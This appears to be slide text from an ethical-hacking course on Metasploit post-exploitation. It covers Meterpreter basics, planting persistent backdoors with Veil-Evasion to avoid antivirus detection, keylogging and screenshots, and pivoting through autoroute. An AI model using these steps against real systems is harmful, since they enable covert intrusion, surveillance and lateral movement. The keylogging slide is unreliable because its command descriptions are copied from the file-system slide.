



POST EXPLOITATION

<https://t.me/learningnets>

POST EXPLOITATION

METERPRETER BASICS

- > **help** – shows help
- > **background** – backgrounds current session.
- > **sessions -l** – lists all sessions.
- > **sessions -i** – interact with a certain session.
- > **sysinfo** – displays system info.
- > **ipconfig** – displays info about interfaces.
- > **getuid** – shows current user.

POST EXPLOITATION

FILE SYSTEM COMMANDS

- > **pwd** – shows current working directory
- > **ls** – lists files in the current working directory.
- > **cd [location]** – changes working directory to [location].
- > **cat [file]** – prints the content of [file] on screen.
- > **download [file]** – downloads [file].
- > **upload [file]** – uploads [file].
- > **execute -f [file]** – executes [file].

PS: for more commands run > **help**

POST EXPLOITATION

MAINTAINING ACCESS

Using a veil-evasion

1

- Rev_http_service
- Rev_tcp_service
- Use it instead of a normal backdoor.
- Or upload and execute from meterpreter
- **Does not always work**

Using persistence module

2

- > run persistence -h
- **Detectable by antivirus programs**

Using metasploit + veil-evasion → More **robust** + **undetected** by Antivirus

- > use exploit/windows/local/persistence
- > set session [session id]
- > set exe::custom [backdoor location]
- > exploit

3

POST EXPLOITATION

KEY LOGGING

Log all mouse/keyboard events

- > `keyscan_start` – shows current working directory
- > `keyscan_dump` – lists files in the current working directory.
- > `keyscan_stop` – changes working directory to [location].

PS: can also take a screenshot of the target computer > `screenshot`

POST EXPLOITATION - PIVOTING



- Use the hacked device as a pivot.
- Try to gain access to other devices in the network

POST EXPLOITATION

PIVOTING USING AUTOROUTE

- Set up a route between hacker and hacked device.
 - Gives hacker access to devices on the network.
 - Use metasploit exploits auxiliaries ...etc
-
1. Use it > use post/windows/manage/autoroute
 2. Set subnet of target network. > set subnet [subnet]
 3. Set session id. > set session [id]
 4. exploit. > exploit